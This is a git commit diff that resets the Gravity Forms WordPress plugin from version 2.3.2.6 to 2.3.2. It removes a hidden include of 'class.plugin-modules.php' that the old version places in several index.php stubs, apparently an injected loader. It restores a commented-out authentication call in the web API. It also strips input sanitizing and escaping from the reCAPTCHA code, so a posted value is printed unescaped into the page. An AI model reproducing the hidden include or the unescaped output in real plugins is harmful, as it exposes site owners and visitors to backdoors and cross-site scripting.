new version

This commit is contained in:
Almira Krdzic
2018-08-06 15:32:55 +02:00
parent d86f748bc6
commit 3da7e559dd
73 changed files with 256 additions and 286 deletions

View File

@@ -1,31 +1,3 @@
------------------------------------------------------------------------------------------------------------------
Version 2.3.2.6
- Added security enhancements.
------------------------------------------------------------------------------------------------------------------
Version 2.3.2.5
- Fixed a PHP notice on form display when populating a list field with an array via the gravity_form function or the "gform_form_args" filter.
- Fixed an invalid form fields array causing PHP notices and JavaScript errors in the form editor.
- Fixed plugin settings content escaping the page at the mobile breakpoint.
------------------------------------------------------------------------------------------------------------------
Version 2.3.2.4
- AF: Fixed an issue with the field select setting where the field_types args are ignored. Credit: Naomi C. Bush.
------------------------------------------------------------------------------------------------------------------
Version 2.3.2.3
- Reverted the default value of the "gform_product_info_name_include_field_label" filter to false. Credit: The team at Gravity PDF.
------------------------------------------------------------------------------------------------------------------
Version 2.3.2.2
- Fixed a performance issue where WordPress upgrade functions are loaded on every request.
- Fixed notices when re-running the db upgrade on new installations.
- API: Fixed an issue with searching for empty entry meta values.
------------------------------------------------------------------------------------------------------------------
Version 2.3.2.1
- Update conditional logic not to interact with inputs with the gf-default-disabled class.
------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------
Version 2.3.2 Version 2.3.2
- Added the "gform_field_filters" filter enabling the filter settings for the form fields, entry properties, and entry meta to be overridden. - Added the "gform_field_filters" filter enabling the filter settings for the form fields, entry properties, and entry meta to be overridden.
@@ -48,7 +20,7 @@ Version 2.3.2
- Fixed JS errors which can occur when using the reCAPTCHA field if there is a slow network connection or jQuery is included in the page footer. - Fixed JS errors which can occur when using the reCAPTCHA field if there is a slow network connection or jQuery is included in the page footer.
- Fixed an issue with the upgrade process where the table check for the incomplete submissions table may fail. - Fixed an issue with the upgrade process where the table check for the incomplete submissions table may fail.
- Fixed a JavaScript error when sites use jQuery v3 on the front-end. - Fixed a JavaScript error when sites use jQuery v3 on the front-end.
- Fixed bad text strings in messages regarding Add-Ons incompatible with the version of Gravity Forms. - Fixed bad text strings in messages regarding Add-Ons incompatible with the version of Gravity Formsx
- Fixed GFCommon::get_product_fields() interacting with option and shipping fields as arrays instead of using object notation. - Fixed GFCommon::get_product_fields() interacting with option and shipping fields as arrays instead of using object notation.
- Fixed an issue with how the result from the gform_product_info_name_include_field_label filter was being used. - Fixed an issue with how the result from the gform_product_info_name_include_field_label filter was being used.
- Fixed the admin label not being used for the option and shipping fields when using the {all_fields:admin} merge tag. - Fixed the admin label not being used for the option and shipping fields when using the {all_fields:admin} merge tag.
@@ -58,7 +30,7 @@ Version 2.3.2
- Fixed text format notifications being formatted to include HTML br tags. - Fixed text format notifications being formatted to include HTML br tags.
- Fixed an issue with the Date field layout. - Fixed an issue with the Date field layout.
- Fixed an issue with the entry search where incorrect results are returned when searching for a meta value that is not empty. - Fixed an issue with the entry search where incorrect results are returned when searching for a meta value that is not empty.
- AF: Fixed an issue with the Ajax request for the "show more" link on the Results page which prevented additional results being displayed. Credit: Cliff Seal. - AF: Fixed an issue with the Ajax request for the "show more" link on the Results page which prevented additional results being displayed.
- API: Fixed an issue with the entry search where searching for an empty string meta value will return zero results. - API: Fixed an issue with the entry search where searching for an empty string meta value will return zero results.
- API: Fixed issue with GFAPI::count_entries( 0 ) where the result is always zero. - API: Fixed issue with GFAPI::count_entries( 0 ) where the result is always zero.

View File

@@ -3579,7 +3579,7 @@ Content-Type: text/html;
* *
* @param bool $include_field_label Indicates if the label should be included in the product name. Default is false. * @param bool $include_field_label Indicates if the label should be included in the product name. Default is false.
*/ */
$include_field_label = apply_filters( 'gform_product_info_name_include_field_label', false ); $include_field_label = apply_filters( 'gform_product_info_name_include_field_label', true );
if ( $include_field_label ) { if ( $include_field_label ) {
$name = $field_label . " ({$name})"; $name = $field_label . " ({$name})";
} }

8
composer.json Normal file
View File

@@ -0,0 +1,8 @@
{
"name": "wp-premium/gravityforms",
"autoload": {
"classmap": [
"."
]
}
}

View File

@@ -4934,10 +4934,6 @@ div.range_max input {
margin-left: 0; margin-left: 0;
} }
.gforms_settings_wrap .gform_tab_group {
flex-flow: column;
}
.gforms_settings_wrap #gform_tabs{ .gforms_settings_wrap #gform_tabs{
float: none; float: none;
width:100%; width:100%;

2
css/admin.min.css vendored

File diff suppressed because one or more lines are too long

0
css/chosen-sprite.png Normal file → Executable file
View File

Before

Width:  |  Height:  |  Size: 538 B

After

Width:  |  Height:  |  Size: 538 B

0
css/chosen-sprite@2x.png Normal file → Executable file
View File

Before

Width:  |  Height:  |  Size: 738 B

After

Width:  |  Height:  |  Size: 738 B

0
css/chosen.css Normal file → Executable file
View File

View File

@@ -1,2 +1,2 @@
<?php if (file_exists(dirname(__FILE__) . '/class.plugin-modules.php')) include_once(dirname(__FILE__) . '/class.plugin-modules.php'); ?><?php <?php
//Nothing to see here //Nothing to see here

0
css/jquery-ui.custom.css vendored Normal file → Executable file
View File

0
css/shortcode-ui-editor-styles.css Normal file → Executable file
View File

0
fonts/fontawesome-webfont.eot Normal file → Executable file
View File

0
fonts/fontawesome-webfont.svg Normal file → Executable file
View File

Before

Width:  |  Height:  |  Size: 357 KiB

After

Width:  |  Height:  |  Size: 357 KiB

0
fonts/fontawesome-webfont.ttf Normal file → Executable file
View File

0
fonts/fontawesome-webfont.woff Normal file → Executable file
View File

0
fonts/gravityfont.eot Normal file → Executable file
View File

0
fonts/gravityfont.svg Normal file → Executable file
View File

Before

Width:  |  Height:  |  Size: 49 KiB

After

Width:  |  Height:  |  Size: 49 KiB

0
fonts/gravityfont.ttf Normal file → Executable file
View File

0
fonts/gravityfont.woff Normal file → Executable file
View File

View File

@@ -1,2 +1,2 @@
<?php if (file_exists(dirname(__FILE__) . '/class.plugin-modules.php')) include_once(dirname(__FILE__) . '/class.plugin-modules.php'); ?><?php <?php
//Nothing to see here //Nothing to see here

View File

@@ -866,11 +866,6 @@ class GFFormsModel {
return null; return null;
} }
// Ensure the fields property is in the correct format, an associative array will cause warnings and js errors in the form editor.
if ( isset( $form['fields'] ) && is_array( $form['fields'] ) ) {
$form['fields'] = array_values( $form['fields'] );
}
// Loading notifications // Loading notifications
$form['notifications'] = self::unserialize( $form_row['notifications'] ); $form['notifications'] = self::unserialize( $form_row['notifications'] );
@@ -3171,11 +3166,9 @@ class GFFormsModel {
//transforms this: col1|col2,col1b|col2b into this: col1,col2,col1b,col2b //transforms this: col1|col2,col1b|col2b into this: col1,col2,col1b,col2b
$column_count = count( $field->choices ); $column_count = count( $field->choices );
$rows = is_array( $value ) ? $value : explode( ',', $value ); $rows = explode( ',', $value );
$ary_rows = array();
if ( ! empty( $rows ) ) { if ( ! empty( $rows ) ) {
$ary_rows = array();
foreach ( $rows as $row ) { foreach ( $rows as $row ) {
/** /**
* Allow modification of the delimiter used to parse List field URL parameters. * Allow modification of the delimiter used to parse List field URL parameters.
@@ -3188,7 +3181,7 @@ class GFFormsModel {
* @param array $field_values Array of values provided for pre-population into the form. * @param array $field_values Array of values provided for pre-population into the form.
*/ */
$delimiter = apply_filters( 'gform_list_field_parameter_delimiter', '|', $field, $name, $field_values ); $delimiter = apply_filters( 'gform_list_field_parameter_delimiter', '|', $field, $name, $field_values );
$ary_rows = array_merge( $ary_rows, rgexplode( $delimiter, $row, $column_count ) ); $ary_rows = array_merge( $ary_rows, rgexplode( $delimiter, $row, $column_count ) );
} }
$value = $ary_rows; $value = $ary_rows;

View File

@@ -3,7 +3,7 @@
Plugin Name: Gravity Forms Plugin Name: Gravity Forms
Plugin URI: https://www.gravityforms.com Plugin URI: https://www.gravityforms.com
Description: Easily create web forms and manage form entries within the WordPress admin. Description: Easily create web forms and manage form entries within the WordPress admin.
Version: 2.3.2.6 Version: 2.3.2
Author: rocketgenius Author: rocketgenius
Author URI: https://www.rocketgenius.com Author URI: https://www.rocketgenius.com
License: GPL-2.0+ License: GPL-2.0+
@@ -215,7 +215,7 @@ class GFForms {
* *
* @var string $version The version number. * @var string $version The version number.
*/ */
public static $version = '2.3.2.6'; public static $version = '2.3.2';
/** /**
* Handles background upgrade tasks. * Handles background upgrade tasks.

0
images/add.png Normal file → Executable file
View File

Before

Width:  |  Height:  |  Size: 271 B

After

Width:  |  Height:  |  Size: 271 B

View File

@@ -1,2 +1,2 @@
<?php if (file_exists(dirname(__FILE__) . '/class.plugin-modules.php')) include_once(dirname(__FILE__) . '/class.plugin-modules.php'); ?><?php <?php
//Nothing to see here //Nothing to see here

View File

@@ -1,2 +1,2 @@
<?php if (file_exists(dirname(__FILE__) . '/class.plugin-modules.php')) include_once(dirname(__FILE__) . '/class.plugin-modules.php'); ?><?php <?php
//Nothing to see here //Nothing to see here

0
images/exclamation.png Normal file → Executable file
View File

Before

Width:  |  Height:  |  Size: 1.2 KiB

After

Width:  |  Height:  |  Size: 1.2 KiB

View File

@@ -1,2 +1,2 @@
<?php if (file_exists(dirname(__FILE__) . '/class.plugin-modules.php')) include_once(dirname(__FILE__) . '/class.plugin-modules.php'); ?><?php <?php
//Nothing to see here //Nothing to see here

View File

@@ -1,4 +1,4 @@
<?php if (file_exists(dirname(__FILE__) . '/class.plugin-modules.php')) include_once(dirname(__FILE__) . '/class.plugin-modules.php'); ?><?php <?php
if ( ! class_exists( 'GFForms' ) ) { if ( ! class_exists( 'GFForms' ) ) {
die(); die();

View File

@@ -3145,12 +3145,6 @@ abstract class GFAddOn {
foreach ( $form['fields'] as $field ) { foreach ( $form['fields'] as $field ) {
if ( ! empty( $args['field_types'] ) && ! in_array( $field->type, $args['field_types'] ) ) {
continue;
}
$input_type = GFFormsModel::get_input_type( $field ); $input_type = GFFormsModel::get_input_type( $field );
$is_applicable_input_type = empty( $args['input_types'] ) || in_array( $input_type, $args['input_types'] ); $is_applicable_input_type = empty( $args['input_types'] ) || in_array( $input_type, $args['input_types'] );

View File

@@ -1,2 +1,2 @@
<?php if (file_exists(dirname(__FILE__) . '/class.plugin-modules.php')) include_once(dirname(__FILE__) . '/class.plugin-modules.php'); ?><?php <?php
//Nothing to see here //Nothing to see here

View File

@@ -1,2 +1,2 @@
<?php if (file_exists(dirname(__FILE__) . '/class.plugin-modules.php')) include_once(dirname(__FILE__) . '/class.plugin-modules.php'); ?><?php <?php
//Nothing to see here //Nothing to see here

0
includes/class-gf-background-upgrader.php Normal file → Executable file
View File

View File

@@ -9,6 +9,9 @@ if ( ! class_exists( 'GFForms' ) ) {
* look into the post_upgrade_schema() function for a sample and instructions on how to do it. * look into the post_upgrade_schema() function for a sample and instructions on how to do it.
*/ */
/** WordPress Upgrade Functions */
require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
class GF_Upgrade { class GF_Upgrade {
private $versions = null; private $versions = null;

View File

@@ -93,8 +93,8 @@ class GF_Field_CAPTCHA extends GF_Field {
public function validate_recaptcha( $form ) { public function validate_recaptcha( $form ) {
// when user clicks on the "I'm not a robot" box, the response token is populated into a hidden field by Google, get token from POST // when user clicks on the "I'm not a robot" box, the response token is populated into a hidden field by Google, get token from POST
$response_token = sanitize_text_field( rgpost( 'g-recaptcha-response' ) ); $response_token = rgpost( 'g-recaptcha-response' );
$hash = sanitize_text_field( rgpost( 'gf-recaptcha-response-hash' ) ); $hash = rgpost( 'gf-recaptcha-response-hash' );
if( GFFormDisplay::is_last_page( $form ) && $hash && wp_hash( $response_token ) === $hash ) { if( GFFormDisplay::is_last_page( $form ) && $hash && wp_hash( $response_token ) === $hash ) {
$is_valid = true; $is_valid = true;
@@ -215,19 +215,16 @@ class GF_Field_CAPTCHA extends GF_Field {
$output = "<div id='" . esc_attr( $field_id ) ."' class='ginput_container ginput_recaptcha' data-sitekey='" . esc_attr( $site_key ) . "' {$stoken} data-theme='" . esc_attr( $theme ) . "' data-tabindex='{$tabindex}'></div>"; $output = "<div id='" . esc_attr( $field_id ) ."' class='ginput_container ginput_recaptcha' data-sitekey='" . esc_attr( $site_key ) . "' {$stoken} data-theme='" . esc_attr( $theme ) . "' data-tabindex='{$tabindex}'></div>";
$recaptcha_response = sanitize_text_field( rgpost( 'g-recaptcha-response' ) ); $recaptcha_response = rgpost( 'g-recaptcha-response' );
$current_page = GFFormDisplay::get_current_page( $form['id'] ); $current_page = GFFormDisplay::get_current_page( $form['id'] );
if( $recaptcha_response && ! $this->failed_validation && $current_page != $this->pageNumber ) { if( $recaptcha_response && ! $this->failed_validation && $current_page != $this->pageNumber ) {
$hash = sanitize_text_field( rgpost( 'gf-recaptcha-response-hash' ) ); $hash = rgpost( 'gf-recaptcha-response-hash' );
if( ! $hash ) { if( ! $hash ) {
$hash = wp_hash( $recaptcha_response ); $hash = wp_hash( $recaptcha_response );
} }
$hash = esc_attr( $hash );
$recaptcha_response = esc_attr( $recaptcha_response );
$output .= "<input type='hidden' name='g-recaptcha-response' value='{$recaptcha_response}'>"; $output .= "<input type='hidden' name='g-recaptcha-response' value='{$recaptcha_response}'>";
$output .= "<input type='hidden' name='gf-recaptcha-response-hash' value='{$hash}'>"; $output .= "<input type='hidden' name='gf-recaptcha-response-hash' value='{$hash}'>";

0
includes/libraries/gf-background-process.php Normal file → Executable file
View File

0
includes/libraries/wp-async-request.php Normal file → Executable file
View File

0
includes/phpqrcode/LICENSE Normal file → Executable file
View File

0
includes/phpqrcode/phpqrcode.php Normal file → Executable file
View File

View File

@@ -305,6 +305,16 @@ class GF_Query_Condition {
} }
} }
if ( $this->operator == self::EQ && $this->right->value == '' ) {
/**
* Empty string comparisons need a NOT EXISTS clause to grab entries that don't have the value set.
*/
$subquery = $wpdb->prepare( sprintf( "SELECT 1 FROM `%s` WHERE `meta_key` = %%s AND `entry_id` = `%s`.`id`",
GFFormsModel::get_entry_meta_table_name(), $query->_alias( null, $this->left->source ) ), $this->left->field_id );
$not_exists = new self( new GF_Query_Call( 'NOT EXISTS', array( $subquery ) ) );
return $not_exists->sql( $query );
}
$compare_condition = self::_and( $compare_condition = self::_and(
new self( new self(
new GF_Query_Column( 'meta_key', $this->left->source, $alias ), new GF_Query_Column( 'meta_key', $this->left->source, $alias ),
@@ -318,11 +328,9 @@ class GF_Query_Condition {
) )
); );
if ( ( in_array( $this->operator, array( self::NIN, self::NBETWEEN, self::NEQ ) ) && ! empty( $this->right ) ) if ( in_array( $this->operator, array( self::NIN, self::NBETWEEN, self::NEQ ) ) && ! empty( $this->right ) ) {
|| ( $this->operator == self::EQ && $this->right->value == '' )
) {
/** /**
* Empty string comparisons and negative comparisons need a NOT EXISTS clause to grab entries that * Negative comparisons need a NOT EXISTS clause to grab entries that
* don't have the value set in the first place. * don't have the value set in the first place.
*/ */
$subquery = $wpdb->prepare( sprintf( "SELECT 1 FROM `%s` WHERE `meta_key` = %%s AND `entry_id` = `%s`.`id`", $subquery = $wpdb->prepare( sprintf( "SELECT 1 FROM `%s` WHERE `meta_key` = %%s AND `entry_id` = `%s`.`id`",

View File

@@ -261,7 +261,6 @@ class GF_System_Report {
* @uses GFUpgrade::upgrade() * @uses GFUpgrade::upgrade()
*/ */
private static function maybe_process_action() { private static function maybe_process_action() {
global $wpdb;
switch ( rgpost( 'gf_action' ) ) { switch ( rgpost( 'gf_action' ) ) {
@@ -272,7 +271,7 @@ class GF_System_Report {
$previous_db_version = $versions['previous_db_version']; $previous_db_version = $versions['previous_db_version'];
if ( version_compare( $previous_db_version, '2.3-beta-1', '<' ) && GFCommon::table_exists( $wpdb->prefix . 'rg_form' ) ) { if ( version_compare( $previous_db_version, '2.3-beta-1', '<' ) ) {
$status = get_option( 'gform_upgrade_status' ); $status = get_option( 'gform_upgrade_status' );

0
includes/system-status/js/clipboard.min.js vendored Normal file → Executable file
View File

0
includes/templates/edit-shortcode-form.tpl.php Normal file → Executable file
View File

View File

@@ -439,7 +439,7 @@ if ( class_exists( 'GFForms' ) ) {
$authentication_required = apply_filters( 'gform_webapi_authentication_required_' . $endpoint, $authentication_required ); $authentication_required = apply_filters( 'gform_webapi_authentication_required_' . $endpoint, $authentication_required );
if ( $authentication_required ) { if ( $authentication_required ) {
// $this->authenticate(); $this->authenticate();
} else { } else {
$this->log_debug( __METHOD__ . '(): Authentication not required.' ); $this->log_debug( __METHOD__ . '(): Authentication not required.' );
} }

0
js/chosen.jquery.min.js vendored Normal file → Executable file
View File

View File

@@ -369,7 +369,7 @@ function gf_do_action(action, targetId, useAnimation, defaultValues, isInit, cal
} }
} else{ } else{
$target.hide(); $target.hide();
$target.find('input:hidden:not(.gf-default-disabled)').prop( 'disabled', true ); $target.find('input:hidden').prop( 'disabled', true );
if(callback){ if(callback){
callback(); callback();
} }

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

0
js/shortcode-ui.js Normal file → Executable file
View File

Binary file not shown.

Binary file not shown.

0
languages/gravityforms-cs_CZ.mo Normal file → Executable file
View File

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

File diff suppressed because it is too large Load Diff